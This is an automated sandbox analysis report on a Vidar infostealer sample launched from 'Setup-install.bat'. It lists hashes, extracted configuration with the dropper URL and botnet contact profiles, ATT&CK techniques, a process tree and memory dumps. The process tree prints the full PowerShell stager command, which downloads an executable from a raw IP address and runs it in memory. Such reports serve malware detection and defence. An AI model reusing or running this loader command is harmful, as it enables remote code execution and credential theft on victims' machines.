vidar | 3e6a57b6588c5f28123ac53555fb31aa7cd1952762ce0ec0723265cda6cc7ebd

Analysis

max time kernel
135s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2025 00:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Setup/Setup-install.bat
Size

10KB
MD5

13a2664aae1f59fe0dc94ff8fb4dfa06
SHA1

a783e4b0513e16b06fa7872e454860642148957e
SHA256

7b9db02ad489193d1b9a5d7d7edc41a69cbc69d5e15d8267c2bf52a25dd434f3
SHA512

082265517a550bb06f513ddc807536de67a0c8e6531897f4b27d2772bdcbd8307541d83e4d44c9c54beb86d326367716df3dffd29d3ba35077d6afc11477ebbc
SSDEEP

48:syolccKcrr30cFmyPYlyhhcKKIcKKWjJcKz3EcKcKcKfJiPhcK6cKEl559HccG5p:oXtCZuMdpf4a

Score

10^/10

vidar fc0stn google discovery execution phishing stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://147.45.44.131/infopage/rwtvha.exe

exe.dropper

http://147.45.44.131/infopage/rwtvha.exe

Extracted

Family

vidar

Botnet

fc0stn

https://t.me/w0ctzn

https://steamcommunity.com/profiles/76561199817305251

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0

Signatures

Detected google phishing page
phishing google
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	4460	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4460	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4460 set thread context of 548	4460	powershell.exe	87

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe
640	msedge.exe
640	msedge.exe
3340	msedge.exe
3340	msedge.exe
4540	identity_helper.exe
4540	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 4460	3372	cmd.exe	84
PID 3372 wrote to memory of 4460	3372	cmd.exe	84
PID 4460 wrote to memory of 4640	4460	powershell.exe	85
PID 4460 wrote to memory of 4640	4460	powershell.exe	85
PID 4640 wrote to memory of 5108	4640	csc.exe	86
PID 4640 wrote to memory of 5108	4640	csc.exe	86
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 3340 wrote to memory of 3960	3340	msedge.exe	107
PID 3340 wrote to memory of 3960	3340	msedge.exe	107
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 640	3340	msedge.exe	109
PID 3340 wrote to memory of 640	3340	msedge.exe	109
PID 3340 wrote to memory of 3040	3340	msedge.exe	110
PID 3340 wrote to memory of 3040	3340	msedge.exe	110
PID 3340 wrote to memory of 3040	3340	msedge.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup\Setup-install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'http://147.45.44.131/infopage/rwtvha.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp" "c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP"
      4⤵
      PID:5108
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0xf8,0x130,0x7ffbe14d46f8,0x7ffbe14d4708,0x7ffbe14d4718
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8
  2⤵
  PID:3040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4048 /prefetch:1
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:1
  2⤵
  PID:868
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
  2⤵
  PID:4768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5356 /prefetch:1
  2⤵
  PID:3552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:1700

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2412

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
37f660dd4b6ddf23bc37f5c823d1c33a

SHA1
1c35538aa307a3e09d15519df6ace99674ae428b

SHA256
4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8

SHA512
807b8b8dc9109b6f78fc63655450bf12b9a006ff63e8f29ade8899d45fdf4a6c068c5c46a3efbc4232b9e1e35d6494f00ded5cdb3e235c8a25023bfbd823992d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9fe1498dd64a0b24ae74ffd66fe8d65f

SHA1
1eff1102e0b0835086ef009476f08fa499ee2321

SHA256
b9e31937ef4ce588fbfaa1f0f61897900921aa740f583a5c8887c100365aa98a

SHA512
b13b743a04087810d3303400bd7e3d1ecd82c4b644f7107fd3433200ec00a84375e181e474d740fc89676e93b299ab28eb35909d640412c9b638dd9199c6c173

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
efaf8d05ab8f11ac9e09589340ecf7ac

SHA1
75d9223faa113386c00ae7fc34c04e8d0d88c09d

SHA256
00944f4517e6444915b861fe51137d43ed26f5c5ab6000101d84d434eb396123

SHA512
17911b0f84fe36443fca24e652028b23f581f51c18786cfe1d9cb705d7844f82e8b05fc41467aa5c5ce0c8de153ab3fad3eb749ff74fcfcf2664d4641ff28fe2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
7a7a36929045246772c788afd06824be

SHA1
19bc54a624fe6f3fd732a14bd4857adf488d9495

SHA256
eb4174b1525ca884d911e1c50d781b0568445ab1af946e8c6b15201038437bfc

SHA512
d04ab257f969d3a5876a84a20dd24e3c46f24bc8ec4ae44f6d5ee0f3dab43ab260160ce309beeea9ee52432b959bde3a9527f95b22ab4840f0d3811db4d2071e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp

Filesize
1KB

MD5
b0d01e58088a9da540dde6f0e020213e

SHA1
661612aac66b4057ff9d830dfd2e8d6971a642b7

SHA256
4c5c011add5ed0e62a15be57689539e4ae66d30a62b91bfd46573a827c09dfb1

SHA512
648b9b0cd4f6b94d329e162b79ef27904cf2ad3fed401ec748854cea6f47a17b93dca62d8db76d047e477a8ee65bb3c629a2e60b6c5904b8a9975f056349d7d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fqbjb2sb.3bt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.dll

Filesize
9KB

MD5
98014637d68d00443f347928ef88b1a8

SHA1
4fc1f64fd2afa689dc9b6646a129962c345829d0

SHA256
0a8ecb1587b63bdeaff491a8f7888d954c6c80ac22e65bc83933e61e3108a4f2

SHA512
d9aa8acee0ddc7767a25c06e02f496ee9d6714cbba349c5151b87fef874acecedd0a77f602692da17a8510fc53c3d140c1561eb26a8ad9aa68b5748c3d2c1152

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP

Filesize
652B

MD5
d89a1e4ddcd3bb5f854caf57c914bc09

SHA1
b20253c104eda8bc0e247e2750ec9b9a88e0ad7c

SHA256
5b582fdb80a83b1e7b08ed2d10a200daea107259b6cf56b2fc1e817fd9bf5ad4

SHA512
051f0ebe0ba7fdc53fe49b1c1b4a1290828c2a8ea6a415ef93a3eb19a9f42eada366b6b9544fb80afb8e22ec8679a8e4cb6013dc0025b55c4e35df472a091db8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.0.cs

Filesize
10KB

MD5
478b152b3b9b40edaf5edcc91037dab8

SHA1
89b9a0358abdbc20f0093421d020ceebe6e5d515

SHA256
642d655cf208af1b6b913ef51c89134f794f185c4f661e5428b5e50dd5f36cbb

SHA512
9000302d0cafe0421143491e73846bad7bb03b1863c7515452fb2789d6b7124a87c8b0e11ef8c8020d663f5849d7f8055413c0e2e7dfe35bf180dde508aba12e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline

Filesize
204B

MD5
6e81d35ef615b53c3438650c935851ee

SHA1
2149db51db6acae576f29efafcc77cbc7a8f4c59

SHA256
60386dbe41a2f39e0fc77ef1b23d463a95f87b2fc57f51f1a9ce0bcb8c151390

SHA512
7ee45fec82aa03dcb0e53c364e6d00dbeacd6d823a5c684b0c2a549e50672309b26cd4e5b2e42b95dc3ed818bed3e28b177b71045a8d9a27c10d2f38cac34427

Download Submit
memory/548-28-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/548-32-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/548-33-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/548-35-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/548-42-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/4460-26-0x0000018770E10000-0x0000018770E18000-memory.dmp

Filesize
32KB

Download
memory/4460-31-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/4460-0-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Filesize
8KB

Download
memory/4460-13-0x00000187589E0000-0x00000187589EE000-memory.dmp

Filesize
56KB

Download
memory/4460-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/4460-11-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/4460-10-0x0000018770E40000-0x0000018770E62000-memory.dmp

Filesize
136KB

Download